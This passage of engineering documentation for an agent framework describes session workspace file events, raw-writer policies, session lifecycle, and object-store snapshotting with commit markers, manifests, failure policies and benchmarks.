// List files in a subdirectory
files, err := session.ListFiles("context")
// Check if a file exists
exists := session.FileExists("context/conversation.jsonl")
Directory Helpers
session.ContextDir() // ~/.nexus/sessions/<id>/context/
session.FilesDir() // ~/.nexus/sessions/<id>/files/
session.MetadataDir() // ~/.nexus/sessions/<id>/metadata/
session.PluginDir("nexus.tool.shell") // ~/.nexus/sessions/<id>/plugins/nexus.tool.shell/
PluginDir() creates the directory lazily on first access.
File Events
Every SessionWorkspace write helper announces itself on the bus, so a subscriber
does not have to watch the filesystem to know what a session changed:
| Event | When |
|---|---|
session.file.created | A path under the session root appeared |
session.file.updated | A path that already existed changed |
| Helper | Emits |
|---|---|
WriteFile | created on first write, updated on every rewrite |
AppendFile | created on the append that creates the file, updated on every later append |
SaveMeta | updated for metadata/session.json, which is rewritten on every llm.response and every agent.turn.end |
The payload carries session_id, the slash-separated session-relative path, size
(the size of the whole file after the write, not the size of the change), and an
append-aware delta: offset and bytes_added. The TUI, browser and Wails transports
subscribe to these to surface file activity; see
Event Reference for the exact payload.
AppendFile reuses the same two event types rather than a separate append event, so
existing subscribers see appends without changing.
The append-aware delta
Appends are the highest-churn writes in a session — conversation history, turn timing,
compaction output and shell history all land through AppendFile — and a subscriber
told only “this path changed” has to re-read (and, for a sync backend, re-upload) the
whole file every time. offset and bytes_added say which part changed:
| Shape | Meaning |
|---|---|
offset == 0 && bytes_added == size | The whole object is new. Every WriteFile, and the first append that creates a file. |
offset > 0 && offset + bytes_added == size | A pure append. Every byte before offset is byte-identical to what the last event for this path described. |
A distinct session.file.appended event was considered and rejected. It would have
carried the same three numbers, cost every existing subscriber a change just to keep
seeing appends, and — because context/conversation.jsonl is written by both helpers —
forced each of them to merge two event streams to reconstruct one file’s history. The
delta is more information about a change subscribers already receive, so it belongs on
the payload.
Object stores have no append primitive. Nothing here lets a backend write the
appended bytes into an existing object: S3, GCS and every S3-compatible store replace
whole objects. What the delta buys is the freedom to coalesce and defer — a backend
that knows the last two hundred events on conversation.jsonl only added bytes to the
tail knows it can collapse them into one upload of the current file at the next
boundary, and knows it has not missed a rewrite in between. Reading offset as “seek
here and write bytes_added bytes into the bucket” is a misreading.
offset is taken from the append descriptor’s own position after the write, so it stays
exact even if another writer appends to the same path in between. If that read fails it
falls back to 0, which reads as “the whole object changed” — the conservative
direction, since a backend then re-uploads a file it could have coalesced rather than
coalescing a change it should have treated as a rewrite.
Creating or loading a workspace writes metadata/session.json silently. That happens
before the journal writer subscribes to the bus, and an event there would consume a
dispatch sequence number the journal never receives — which stalls its writer, since it
only writes envelopes in contiguous sequence order. StartSession re-saves the
metadata once the journal is running, so the file is still announced.
Writers that bypass the helpers
Not everything under a session tree goes through the workspace helpers. Some writers
hold a long-lived *os.File, some write through temp-file + rename for atomicity, and
some own a directory layout that is theirs rather than the workspace’s. Two helpers
exist for them:
| Helper | Use |
|---|---|
AnnounceWrite(fullPath, existed) | A whole-file write. existed must be sampled before the write and selects created vs updated. |
AnnounceAppend(fullPath, bytesAdded) | Bytes appended to the tail. Takes no existed flag — it derives created from a post-append offset of 0, so a descriptor opened with O_CREATE at plugin Init still announces a creation for the first real bytes written through it. |
Both take an absolute path and emit exactly the payload WriteFile emits, with the
path relativised to the session root. Both are silent when the workspace has no bus,
when the path is not under the session root, or when the path is one the object-store
seam excludes outright — so it is impossible to announce store.db or session.lock
by mistake, and a plugin whose output directory is configurable can call them
unconditionally instead of repeating an escape check.
An fsnotify watcher over the session root was the rejected alternative. It buys completeness with no call-site changes, and costs a watch descriptor per directory, a rename storm to debounce on every atomic write, and — fatally — no way to tell “the writer finished” from “the writer is halfway through”, which is the one distinction a sync backend needs.
Every raw writer has a decided disposition
The set of writers that bypass the helpers is closed and enumerable: the plugin-level
ones all take their directory from PluginDir() or a config key, and the rest are
named engine subsystems. Each has one of four dispositions, recorded in code as
engine.SessionTreeWriters() so an enforcement test can consume it:
| Disposition | Meaning |
|---|---|
| emit | Announces every write on the bus; a sync backend can push it as it lands. |
| turn-boundary-only | Silent on the bus by decision. The bytes still reach the store, through the whole-tree snapshot taken at agent.turn.end and at shutdown. |
| write-through | Pushed to the object store the moment the bytes land, with no bus event at all. Only safe where the object key is derived from the content, so a duplicate upload is a no-op rather than a race — exactly one subtree qualifies. |
| excluded-by-design | Never leaves the machine at all — not on the bus, not in the snapshot. |
| Writer | Writes | Disposition | Why |
|---|---|---|---|
plugins/scene | plugins/nexus.scene/scenes.json + scenes.jsonl patch journal | emit | The highest-churn raw writer under a session, and the journal is the durable source of truth the replay primitive reconstructs scene state from — a run killed mid-turn otherwise loses exactly the scenes it just built. |
plugins/workflows/icm/session | plugins/nexus.workflows.icm/<runID>/ stage artifacts and sidecars | emit | An ICM run is long enough that waiting for a turn boundary discards completed stages on a crash. Every write funnels through WriteArtifact plus the two input-copy loops. |
plugins/llm/batch | one JSON state file per in-flight batch | turn-boundary-only | batch.data_dir defaults to ~/.nexus/batches, outside every session tree. Its durability requirement is a local disk that survives a restart — the coordinator resumes batches by scanning the directory at boot — not a remote copy. |
plugins/memory/longterm | one markdown file per memory key | turn-boundary-only | Defaults to ~/.nexus/memory; cross-session by definition, so deliberately not under a session. |
plugins/rag/ingest | embedding cache entries (cache.go) and generated chunk prefixes under <cache_dir>/_prefix (contextual.go) | turn-boundary-only | Defaults to ~/.nexus/vectors/_cache. Both are caches of output derivable from the source documents — pushing them spends bandwidth on bytes a resume can regenerate, and losing them costs latency and tokens, not correctness. |
plugins/tools/codeexec | skill helper .go sources into an os.MkdirTemp GOPATH | turn-boundary-only | Cannot be under a session tree. The helpers are staged into a fresh temp root purely so Yaegi’s import resolver can find them, and the deferred cleanup deletes the whole root before the tool call returns — there is nothing durable to carry. |
plugins/io/oneshot | the run’s JSON transcript, to output_file | turn-boundary-only | output_file is unset by default, so normally no file exists. When set it is an operator-chosen destination for a shell pipeline, normally outside the session, and finalize runs once at the end of the last turn or at shutdown — an announcement would buy the tail of a run that is already over. |
plugins/control/hitl | request/response files | turn-boundary-only | Defaults to ~/.nexus/hitl, and is a filesystem IPC rendezvous rather than session state. Restoring an in-flight pair would re-ask a question that was already answered. |
plugins/observe/sampler | sampled journal + metadata.json | turn-boundary-only | Defaults to ~/.nexus/eval/samples: an eval corpus accumulated outside sessions so it survives their cleanup. Also a copy of journal bytes the snapshot already carries. |
pkg/engine/journal/writer.go, rotate.go | journal/events.jsonl, journal/events-NNN.jsonl.zst | turn-boundary-only | Emitting here is a self-feeding loop, not a preference: the writer’s input is every event on the bus. It holds no bus reference at all, which makes the loop impossible by construction. The snapshot captures the journal through journal.Writer.Snapshot. |
pkg/engine/toolcache.go | journal/cache/<tool>/<argshash>.json | turn-boundary-only | A replay companion to journal/events.jsonl and useless without it, so streaming one while the other waits would push half an artefact pair. It also runs inside a tool.result handler, where an emission would roughly double bus traffic on the hottest path. |
pkg/engine/blobs | blobs/<xx>/<sha256>.bin and .meta | write-through | Content-addressed, so the key is derived from the bytes and a duplicate upload is a no-op rather than a race — the one subtree that can be pushed the instant it lands with no barrier. Pushed by a plain func hook (blobs.WithPutHook), not by an event, which keeps the package free of a bus dependency and keeps blob traffic off the hottest tool paths in a session. Local LRU eviction is not mirrored remotely. See Blobs push on write. |
pkg/engine/storage/sqlite.go | plugins/<pluginID>/store.db | excluded-by-design | WAL mode. Committed frames live in store.db-wal until a checkpoint, so streaming partial writes uploads a database that is corrupt, or plausible and silently stale. It reaches the store only as a checkpointed VACUUM INTO snapshot; the -wal / -shm / -journal sidecars never cross the seam. |
pkg/engine/session_lock.go | session.lock | excluded-by-design | The file carries the local PID of the owning process and Boot refuses to start against a live one. Round-tripping it stamps one host’s PID onto every later resume — correct by coincidence on a fresh container, and wrong the moment that number is in use. |
The invariant, and the test that holds it
A write under a session tree must announce itself on the bus. Real-time sync is exactly as complete as the events are, so a write nothing announced is history that quietly never arrives.
The one sanctioned alternative to announcing is pushing directly, and it is available only where the object key is derived from the content: see Blobs push on write. Anything else that is silent on the bus waits for the turn boundary, which is a decision the table has to record rather than a gap the table hides.
The table above closes today’s gap. TestPluginRawWritesAreAnnouncedOrAllowlisted
(pkg/engine/session_writers_enforce_test.go) is what stops a future plugin reopening it.
It runs inside make test — untagged, no network — and does the following:
- Parses every non-test Go file under
plugins/withgo/parser(standard library; this guard adds no dependency). - Flags direct calls to
os.WriteFile,os.Create,os.CreateTempandos.OpenFile, resolving theosimport through its local name so an alias or a dot-import is not a way around it. - Requires each flagged file to either call
AnnounceWrite/AnnounceAppend, or carry a row inengine.SessionTreeWriters().
If you trip it, the failure message spells out the three ways forward: announce the write,
route it through session.WriteFile / session.AppendFile, or add a row with a Why. The
allowlist is SessionTreeWriters() itself rather than a list local to the test, so
silencing the guard and documenting the decision are the same edit — and a row whose file
stops writing raw bytes is reported as stale by
TestSessionTreeWriters_PluginRowsStillWriteRawBytes, so the list shrinks as well as grows.
What the guard deliberately cannot see, so that it is not trusted past its limits:
- Writes through an
*os.Filehanded to another package, throughbufioorio.Copyonto a descriptor opened elsewhere, throughtext/template.Execute, or through a third-party library. - Announcement is matched per file, not per call: a file with one announced and one unannounced write reads as covered.
- Only
plugins/is scanned.pkg/engine’s raw writers are a small closed set of named subsystems that already have rows;cmd/is not scanned at all.
Session Lifecycle
Creating a Session
When Engine.Run() starts, it calls NewSessionWorkspace() which:
- Generates a random hex session ID
- Creates the directory structure (
context/,files/,metadata/,plugins/) - Writes initial metadata with status
"active"
Resuming a Session
When launched with -recall <sessionID>:
- The engine loads the session’s config snapshot from
metadata/config-snapshot.yaml LoadSessionWorkspace()opens the existing directory- The session metadata is updated back to
"active" - Plugins find their persisted data in their
PluginDir()
Ending a Session
On shutdown, the engine:
- Sets
EndedAton the session metadata - Updates status to
"ended" - Saves a config snapshot for future recall
The snapshot is the original config YAML bytes verbatim, not a re-serialization
of the typed Config struct. core.models and per-plugin configs are parsed
via a second-pass raw map (yaml:"-" on the typed fields), so re-marshaling
would silently drop them and break recall. Configs constructed in-memory via
DefaultConfig() (no source bytes) fall back to yaml.Marshal of the typed
struct.
Configuration
Session behavior is configured in the core.sessions section:
core:
sessions:
root: ~/.nexus/sessions # Where sessions are stored
retention: 30d # How long to keep old sessions
id_format: datetime_short # ID generation format
| Field | Default | Description |
|---|---|---|
root | ~/.nexus/sessions | Base directory for all sessions |
retention | 30d | Retention period for old sessions |
id_format | timestamp | Format for generating session IDs |
Object-Store Backing (optional)
By default a session lives only on local disk. core.object_store
optionally makes a remote object store the source of truth for a session
between runs, so a session can be killed on one host and resumed on another
with no shared filesystem — the case for containers, Cloud Run and Lambda,
where there is no disk between invocations.
Local disk remains the working copy during a run. The seam
(pkg/engine/objectstore.Backend) is deliberately a lifecycle interface —
Hydrate, Put, Delete, List, Flush over object keys — not an
abstraction over os.*. Core and every plugin keep reading and writing
ordinary local files, so “behaves exactly like local disk” is a guarantee
rather than an aspiration, and SQLite keeps running against a real file.
Backends are selected by name in the database/sql driver style. Each ships as
its own Go module so the main module’s dependency list never grows; an embedder
blank-imports the module and names it in config. The interface refers to no
cloud-specific concept, so a third party can implement it out of tree.
With no backend named — the default — no object-store code runs at all: no
handle is opened, no snapshot handler is subscribed, and a backend sitting
registered in the process is never touched. Every shipped profile under
configs/ leaves the seam inert, and
TestDefaultPathNeverTouchesARegisteredBackend in pkg/engine holds the
default path to it.
Lifecycle points
The engine touches the seam in exactly six places, all in pkg/engine:
| When | What happens |
|---|---|
Top of Boot | The configured backend is resolved once. A failure here fails the boot. |
Top of Boot, before any plugin can open storage | App- and agent-scope plugin stores are hydrated. See The other roots. |
| Before a resumed workspace is opened | The whole tree is hydrated from the store under the object key prefix sessions/<session id>, then pruned to exactly the object set the committed manifest names. |
| Once the workspace exists and the local lock is held | An owner marker is claimed at sessions/<session id>.owner/owner.json, and a second host holding the session is detected. See Two hosts, one session. |
| Every turn boundary | The whole tree is snapshotted and made durable, a per-object manifest and then a commit marker are published, then the shared plugin stores are snapshotted. |
End of Stop | A final snapshot runs, the owner marker is removed, then Flush, then the backend is released. |
Abandon | Every background worker stops and the backend handle is dropped. No snapshot, no Flush, and the owner marker is left where it is. See Dropping a session without closing it. |
Hydration is eager and whole-tree, and completes before the first turn runs. There is deliberately no lazy or faulting read: threading one through the engine and ~60 plugins would be impossible to get right, and SQLite could not use it at all — so “behaves exactly like local disk” would degrade from a guarantee to an aspiration.
Hydration lands in a staging directory inside the sessions root and is
published with an atomic rename, so a hydration that dies partway leaves
nothing at <root>/<session id> and the partial tree is discarded. That failure
fails the boot under both failure policies: degrade means “keep running
against the local copy”, and at hydrate time there is no local copy — degrading
would hand the agent an empty session that looks complete.
Resuming a session ID the store has never seen is not an error. It yields a valid empty session, created through the same code path as a brand-new local one, so the two are indistinguishable.
<sessions.root>/<id>/session.lock (written on Boot, see
Human-in-the-Loop operations) never crosses the seam in
either direction. It records the PID of the process holding the session
on one particular machine; a lock that travelled with the session would make
every rehydrated session look permanently locked by a process that no longer
exists. The exclusion is enforced at the seam itself, in
pkg/engine/session_objectstore.go, so every present and future push path
shares one definition of “never syncs”.
Plugins are unaware of any of this. Nothing is exposed on PluginContext, and
no plugin calls the seam.
Turn-boundary snapshots
The hook is agent.turn.end, and it is handled in core. That event is
already the engine’s definition of a turn boundary — the journal fsyncs on it
and rotates on it, and the turn counter and metadata/timing.jsonl are driven
by it — so hanging the snapshot anywhere else would invent a second,
disagreeing notion of “turn”. The subscription lives in
pkg/engine/session_objectstore.go: no plugin implements an interface, calls a
method, or learns that an object store exists. An agent loop emits the event it
already emitted.
Two more triggers exist. session.snapshot.request forces a snapshot for
callers that do not emit turn events — an embedder driving the engine directly,
or a custom agent loop — and Stop takes a final one, so a session that ends
between turns (or ran no turns at all) is still in the bucket. Every snapshot
publishes a session.snapshot.result carrying the object count, the byte total,
the duration and whether it succeeded.
The snapshot is synchronous: it blocks the goroutine that ended the turn until the bytes are durable. A background snapshot would report a turn complete while its state was still in flight, which is precisely the guarantee this exists to provide.
It is installed as a wildcard subscription filtered to agent.turn.end,
not a typed one, and that is a correctness requirement rather than a style
choice. The bus runs every typed handler before any wildcard, and the journal is
itself a wildcard. A typed handler would therefore snapshot a journal ending one
envelope short of the very boundary it is reacting to — and a journal whose last
turn has no agent.turn.end is exactly what
journal.Coordinator.IsPartialTurn calls an unfinished turn, so every resume
from that snapshot would re-fire the last input and re-run a turn that had
already completed. Registering after the journal’s wildcard also means the
snapshot sees the writes the boundary itself produces — memory compaction, the
turn counter, history pruning — rather than the state before them.
What must not be copied naively
Two things in the tree rewrite themselves while a reader is walking it, and both are staged into a temporary directory beside the session rather than uploaded in place.
Per-plugin SQLite. A live store.db is a WAL database: committed
transactions sit in store.db-wal until a checkpoint folds them back, and
store.db-shm is a process-local index into that WAL. Neither sidecar means
anything on another host, so the uploaded file has to stand alone. Every
snapshot therefore runs PRAGMA wal_checkpoint(TRUNCATE) and then
VACUUM INTO a staging path. The checkpoint is what makes the live file
self-contained (and bounds -wal growth over a long session); VACUUM INTO is
what makes the snapshot untearable, since a plugin committing between the
checkpoint and the last read byte would otherwise produce a corrupt — not merely
stale — file, and a corrupt file that uploads successfully is worse than a
failed upload. store.db-wal, store.db-shm and store.db-journal are
excluded from the seam entirely, in both directions.
The journal. Rotation compresses events.jsonl into the next
events-NNN.jsonl.zst and truncates the active segment, and it fires on the
drain goroutine the instant an agent.turn.end envelope lands — the same event
the snapshot reacts to. Read the active segment after the truncate but list the
directory before the new .zst appears and the turn’s events are in neither
object; capture both and they are in the bucket twice. journal.Writer.Snapshot
takes the writer’s file mutex — the one rotation holds — and captures a single
consistent instant: rotated segments and header.json are immutable once
written and are read in place, while the mutable active segment is copied under
the lock. A Barrier runs first so the capture includes the very turn that
triggered it rather than trailing it by whatever is still queued.
journal/cache/ is ordinary data and is walked normally.
What is never re-uploaded
A snapshot is O(whole tree), not O(what changed), and that cost is paid on
every turn. Two kinds of file in a session tree cannot change once written,
and a snapshot that has already stored them does not store them again:
| Path | Why it cannot change |
|---|---|
journal/events-NNN.jsonl.zst | Sealed at rotation. Rotation compresses the active segment into the next free NNN slot and never reopens it. |
blobs/<xx>/<sha256>.bin and .meta | Content-addressed. Different bytes would have a different sha256 and therefore a different name, so a file at that path either holds those bytes or does not exist. Usually already uploaded before the snapshot runs at all — see Blobs push on write. |
The skip is by construction, never by diffing. A file qualifies because its
identity proves immutability, not because a hash or an mtime comparison
suggested it was unchanged — blobs.Store.Put touches mtime on every hit, so
mtime would have been actively misleading here. General content-hash or
mtime-based change detection over the rest of the tree is deliberately not
implemented: ordinary session output is still re-uploaded in full every turn.
Being unchangeable locally says nothing about whether the object ever reached the bucket, so immutability alone is only half the decision. Every snapshot lists the session’s key prefix and skips a file only when that listing says the store holds it at exactly that size. A skipped file that is missing — or truncated — is uploaded like anything else, so a skip can never turn a gap into a permanent gap, and the skip repairs itself against anything that removes an object out of band. A backend that cannot list makes the snapshot upload everything, which is always the safe direction. The listing costs one or two round trips against as many avoided uploads as the session has immutable files.
A skipped object is still part of the committed object set: objects and
bytes on the commit marker and on session.snapshot.result describe the whole
stored session, exactly as they did before the skip existed, and
objects_uploaded / objects_skipped split that set into what this turn paid
for and what it saved. The per-object manifest
is built from the committed set, not from “what was uploaded this turn” — a
manifest of only-what-was-uploaded would describe a session with its journal
segments and blobs missing, and a hydration honouring it would then faithfully
reproduce that truncated session.
Blobs push on write
<session>/blobs/ does not wait for the turn boundary. A blob store opened
through SessionWorkspace.BlobStore() carries a blobs.PutHook, and each new
blob’s .bin and .meta are handed to a single background worker that uploads
them and flushes once the queue goes quiet.
What that buys, precisely. Not bandwidth — objectStoreImmutable already
made each blob a once-ever upload, so the repeated per-turn cost was never
being paid. What is left is the window between a blob landing and the next
agent.turn.end. Blobs are the largest single objects in a session tree, so a
turn that fetches a PDF, renders a screenshot and embeds an image otherwise
holds all of it on local disk until the turn ends: a process killed halfway
loses every blob it produced, and what survives is a conversation history full
of nexus-blob: URIs that resolve to nothing after a resume on a fresh host.
Write-through shrinks that window from “one turn” to “one queue drain”, and
spreads the upload across the turn instead of spiking at the end of it. That is
a narrow win, and it is the whole win.
Why no barrier is needed. The key is derived from the sha256 of the
content, so the same key can only ever carry the same bytes. A write-through
Put racing a snapshot Put of the same blob is two identical uploads, not a
conflict: no read-modify-write, no window in which a partial object sits under
a key another writer will fill with different content. context/ conversation.jsonl has none of those properties, which is why the general push
still waits for a boundary.
It is an optimisation, not the guarantee. Every failure mode on this path —
a full queue, a Put error, a drain that timed out at shutdown — costs the
delay it was trying to remove and nothing else. The turn-boundary snapshot
still walks the whole tree and still re-uploads any immutable file the store
does not already hold at exactly the right size, so correctness lives there.
No event. The push is a plain func hook rather than a session.file.*
emission. An event per blob would have put traffic on the hottest tool paths in
a session — every read_image, every fetch_page_image, every MCP binary
payload — to carry a fact the object key already encodes, would have made every
existing subscriber react to blob writes it has no use for, and would have cost
pkg/engine/blobs its deliberate independence from the bus (it is a standalone
content store usable outside an engine, and it still imports nothing outside
the standard library).
Local eviction never deletes remotely. The blob store sweeps by mtime under
an LRU byte budget, and that budget exists to bound disk — exactly the
constraint a bucket does not have. There is no delete hook, and nothing on this
path ever calls Backend.Delete. A swept blob stays in the store; a Get for
it afterwards is a local miss that hydration can repair, not a lost object.
Mirroring the eviction would destroy data the operator is paying to keep, and
would do it to content a later session may still reference by URI.
blobs/ is still created lazily, on the first Put — not at session boot and
not by opening the store — so a session whose tools never produce a blob has no
blobs/ directory to sync at all.
Failure, and the commit marker
Object stores have no multi-object transaction, so a tree spread over many objects cannot be replaced atomically. Three properties give “a failed or partial upload never replaces a good remote copy” anyway:
- Nothing is uploaded from a file that could be torn — see above.
- A snapshot never deletes. It adds and overwrites only, so a failure cannot remove remote state it did not successfully replace.
- A per-object manifest at
sessions/<session id>.manifest/manifest.jsonis written and flushed after every other object is durable, listing exactly the object set that generation asserts is present. - A commit marker at
sessions/<session id>.snapshot.jsonis written and flushed after the manifest. It therefore only ever advances past a complete snapshot: a failed or half-finished upload leaves it naming the previous one, which is the snapshot guaranteed to be restorable.
Both are sibling keys, not members of the tree. Because prefixes match whole
segments, sessions/<id>.snapshot.json and sessions/<id>.manifest/ are
deliberately not under prefix sessions/<id>, so neither hydrates back into the
session and neither becomes an input to the next snapshot.
Generation directories — write the whole tree under sessions/<id>/gen-<n>/ and
flip a pointer — were considered and rejected. They give true atomic replace at
the cost of a second full copy of every session in the bucket and an
indirection hydration would have to resolve on every boot. The marker answers
the same question for one small object.
The generation stamp and the per-object manifest
A snapshot never deletes, so an interrupted snapshot leaves a superset: some objects from generation N+1 sitting beside the rest of generation N. Without something to say which is which, that tree hydrates silently and produces a session whose artifacts disagree with its own history.
Two records answer it, both siblings of the tree:
| Key | Contents |
|---|---|
sessions/<id>.snapshot.json | The commit marker: session ID, generation, manifest_key, per-run sequence, trigger, turn ID, completion time, object and byte counts. Deliberately small — an operator reads it by hand. |
sessions/<id>.manifest/manifest.json | The per-object manifest: generation plus a sorted array of the session-relative paths that generation asserts are present. Paths only — no sizes, no digests, no mtimes. It is a set, not an index. |
generation increases by one per completed snapshot and, unlike sequence,
carries across runs: a resuming host seeds it from the committed manifest, so
a bucket never records the stamp going backwards. Gaps are normal — a failed
snapshot claims a generation and does not roll it back.
The write order is load-bearing and is the same write-last discipline the marker always had: objects → flush → manifest → flush → marker → flush. So a manifest is never visible before the objects it describes are durable, and a marker is never visible before the manifest it names. The only mismatch this ordering can produce is a manifest one generation ahead of the marker, which is a manifest that is still exactly right — which is why hydration keys off the manifest.
The manifest is a directory-shaped prefix rather than a flat
sessions/<id>.manifest.json because objectstore.Backend has no single-object
read: Hydrate is the only way to pull bytes down, and it takes a prefix whose
exact-match object is explicitly not “under” it. That is also why the commit
marker itself cannot be what hydration reads. Widening the published interface
with a Get would break every out-of-repo backend module.
What hydration does with it. The tree is pulled into a staging directory as before, then everything the committed manifest does not name is removed — before the staging directory is renamed into place, so an uncommitted object is never observable at the session path even for an instant. The orphaned objects are left in the bucket, never deleted: reclamation is the operator’s, and this seam never removes remote data.
Two deliberate exceptions:
- No manifest at all (a bucket written by an older build, or a session that has never completed a snapshot) falls back to materialising everything under the prefix — byte-for-byte the behaviour that shipped before — and logs it.
- Content-addressed blobs are never pruned, even when the manifest does not
name them. That is a correctness requirement, not a bandwidth saving: the blob
store sweeps local disk under an LRU byte budget while a snapshot never
deletes remotely, so a blob referenced by a
nexus-blob:URI in the committed history can legitimately be in the bucket and absent from the manifest. Pruning it would break a URI that resolves today. The exemption is also exactly coextensive with “objects written outside a snapshot”, because write-through and its retry queue push nothing but blobs. Sealed journal segments are immutable too and are deliberately not exempt — one from an interrupted generation carries events the committed history does not.
Where the guarantee stops. A snapshot overwrites in place and the manifest
names paths, not versions. An interrupted snapshot that got as far as
re-uploading a mutable object — context/conversation.jsonl, the active journal
segment, a per-plugin store.db — has already replaced the committed
generation’s bytes at that key, and no listing of paths brings them back.
Hydration restores exactly the committed set; within that set an overwritten
object carries the dead generation’s bytes. Closing that window means
per-generation object keys, which is the generation-directories design costed and
rejected above. TestInterruptedSnapshotCanOverwriteACommittedObjectInPlace in
pkg/engine pins the boundary so it is not rediscovered by accident;
TestInterruptedSnapshotRestoresTheCommittedGenerationIntact and
TestHydrationRestoresOnlyTheCommittedGeneration pin the guarantee.
Cost. The manifest is re-uploaded whole on every snapshot, which is the cost
the commit marker was originally designed to avoid and which was accepted here in
exchange for correctness. Measured by BenchmarkSessionSnapshot’s manifest_KiB
metric: 18.9 KiB for the 1007-object / 91 MiB session (~19 bytes per object,
0.02% of the tree, against a 90.7 MiB per-turn upload). A blob-heavy session pays
more per object because a content-addressed path is 69 characters — 157 KiB for
2009 objects — which is still 0.55% of that shape’s 27.9 MiB per-turn upload.
Failure policy: degrade and strict
A snapshot that cannot complete is where core.object_store.failure_policy
earns its keep. Both values retry, both publish the outage on the bus, and both
recover with no operator action. What differs is whether the session keeps
taking turns while the store is unreachable.
Under degrade — the default — the session keeps running against the local
working copy. The failure is a warning, the state is queued for retry, and turns
carry on. The honest caveat belongs here rather than only in a comment: during
a long outage the durability guarantee is not being met even though nothing is
failing. Work the user watched happen exists only on local disk, and a host that
dies while degraded loses it. That is the trade the operator chose by selecting
it.
Under strict the failure additionally raises core.error and closes a
turn gate: every subsequent io.input is vetoed until a snapshot succeeds. Be
precise about what that buys, because the tempting summary is wrong:
The turn that hit the outage already happened. Its output was streamed to the user, its tools ran, and its side effects are in the world. Nothing in Nexus un-runs it.
strict refuses the next turn, which is the last point at which nothing has
happened yet. A genuine pre-commit gate would need a vetoable turn-boundary
event, which does not exist — and would not help if it did, since by the time an
agent loop can report a turn the work is done. So the guarantee is: no turn
ever runs against state whose predecessor was not durably stored, and the
divergence is never silent. Not: “the failed turn was prevented”.
The gate is a before:io.input subscriber at priority 200, behind every other
one (nexus.control.cancel and nexus.mcp.client both sit at 5), so slash
commands and cancellation still work while it is closed — an operator whose
bucket is down must still be able to stop the run.
Retry, and the bound. One background worker per run retries with exponential
backoff (1 s, doubling, capped at 60 s). It carries two kinds of work: a bounded
queue of deferred pushes, capacity 256 objects, fed by blob write-through
failures; and a “whole-tree snapshot pending” flag, the backstop, set by a failed
snapshot, a failed flush or a queue overflow. Overflow therefore does not lose
work — the discarded push is replaced by a snapshot that re-uploads everything
the store does not already hold at the right size, which is strictly stronger
and merely coarser. The bounds, the schedule and the timeouts are compiled-in
constants rather than config keys, on the same reasoning E3-S2 applied to the
write-through constants: an operator who wants to tune them is asking for a
different failure_policy.
Recovery drains itself. Either the next turn-boundary snapshot closes the
episode, or — on an idle session where no further turn is coming — the retry
worker does, publishing its snapshot under the retry trigger. Exactly one
session.storage.degraded goes out per outage and one
session.storage.recovered when it ends, so a subscriber counts outages rather
than failed requests.
One deliberate exception. A blob write-through failure never closes the
strict gate. Write-through is an optimisation in front of the snapshot, which
re-uploads anything missing; failing a turn because it stumbled on an object the
very next snapshot repairs would make strict fire on transients it is not there
to catch. Such a failure still queues for retry and still counts towards the
degraded state.
Hydration failure is the one thing both policies treat identically: it fails the
boot. degrade means “fall back to the local copy”, and at hydrate time there is
no local copy.
Cost
The snapshot is O(tree size minus the immutable share) on every turn, and a
session tree only grows. Measured on an M1 Max against the in-memory backend
(engine work only — staging, checkpoint, tree walk, per-object handoff — with no
network):
| Tree | Objects | Size | Uploaded per turn | Per turn |
|---|---|---|---|---|
| 10 files + a 100-row store | 17 | 0.05 MiB | 17 objects / 0.05 MiB | ~13 ms |
| 200 files + a 5k-row store | 207 | 6.0 MiB | 207 objects / 6.0 MiB | ~29–35 ms |
| 1000 files + a 50k-row store | 1007 | 91 MiB | 1007 objects / 91 MiB | ~155–175 ms |
| 1000 blobs + a 50k-row store | 2007 | 90 MiB | 7 objects / 28 MiB | ~137 ms |
The first three rows are ordinary files/ output, which nothing in the tree
proves immutable and which is therefore still re-uploaded in full every turn. The
last row is the same volume of bytes held as content-addressed blobs: before
immutable-skip it uploaded 2007 objects and 90 MiB per turn (~200 ms); after, it
uploads the 7 mutable objects and 28 MiB, of which the per-plugin store.db is
almost all. On a 100 Mbit link that is roughly 7.6 s per turn down to 2.3 s.
Underneath is a fixed floor of roughly 12 ms (checkpoint, VACUUM INTO, journal
barrier, fsync) plus 500–600 MiB/s of local throughput; real network time lands
on top. BenchmarkSessionSnapshot in pkg/engine reproduces all four rows,
reporting puts/op and upload_MiB/op alongside the tree size. Every snapshot
logs objects, bytes, objects_uploaded, bytes_uploaded,
objects_skipped, bytes_skipped, db_bytes and duration, and publishes the
same numbers as session.snapshot.result, so the growth is visible rather than
inferred.
The residual store.db cost is O(database size) per turn regardless of how
little changed, and delta upload for mutable files and a size-dependent snapshot
cadence are still deliberately not designed.
The other roots
The session tree is one of four roots the seam covers, and the only one with a commit marker, a turn-by-turn history and a lock. The other three are:
| Root | Object key | Lifecycle |
|---|---|---|
| App-scope plugin storage | plugins/<pluginID>/store.db | Hydrated at Boot before any plugin can open a handle; snapshotted at every turn boundary and at shutdown. |
| Agent-scope plugin storage | agents/<agent_id>/plugins/<pluginID>/store.db | The same, when core.agent_id is set. With it empty the handle collapses to app scope and so does the key. |
| Eval run output | eval/<run-id>/… | Published once by nexus eval run when its --config names a backend. Written once, never mutated, so there is nothing to hydrate. |
Keys mirror the on-disk layout beneath the data root and sit beside
sessions/, never under it. That is the reservation the sessions/ segment was
chosen for. Nesting shared state under the session that flushed it would give
every session its own copy of a machine-wide store, which is how
nexus.gate.token_budget’s tenant token ceiling would quietly turn into a
per-session ceiling with nothing erroring.
One interface serves all four: no Backend method mentions a root, and the
per-root policy — when to push, what wins on a collision, whether a local copy
may be overwritten — lives entirely on the engine side in
pkg/engine/shared_objectstore.go.
The journal needs no separate row: it lives at <session>/journal/ and is
captured at a consistent instant inside the session snapshot.
Details, including the one-writing-host-at-a-time constraint a shared root brings, are in Per-Plugin Storage → Object storage for app and agent scope.
Two hosts, one session
The seam assumes a session has exactly one writing host at a time. Nothing
enforces that, and the failure when it is violated is completely silent: two
hosts hydrate the same session ID, both snapshot the whole tree at their own turn
boundaries, and the loser’s conversation history, journal and per-plugin
store.db are overwritten at whole-file granularity with no error anywhere. On
ephemeral compute, an instance the scheduler presumed dead but which is still
running is routine rather than exotic.
An owner marker makes that diagnosable. It is a small JSON object at
sessions/<id>.owner/owner.json — a sibling of the session prefix, exactly like
the commit marker, so it never hydrates into the tree and never becomes an input
to the next snapshot:
| Field | Meaning |
|---|---|
host | os.Hostname of the holder. Per-instance on Kubernetes, Cloud Run and ECS. |
pid | The holder’s OS process ID. Meaningful only together with host. |
instance_id | Unique per engine run — what tells two containers sharing a hostname and a PID apart. |
claimed_at | When the session was claimed. |
heartbeat_at | Refreshed every 30 seconds while the run is live. |
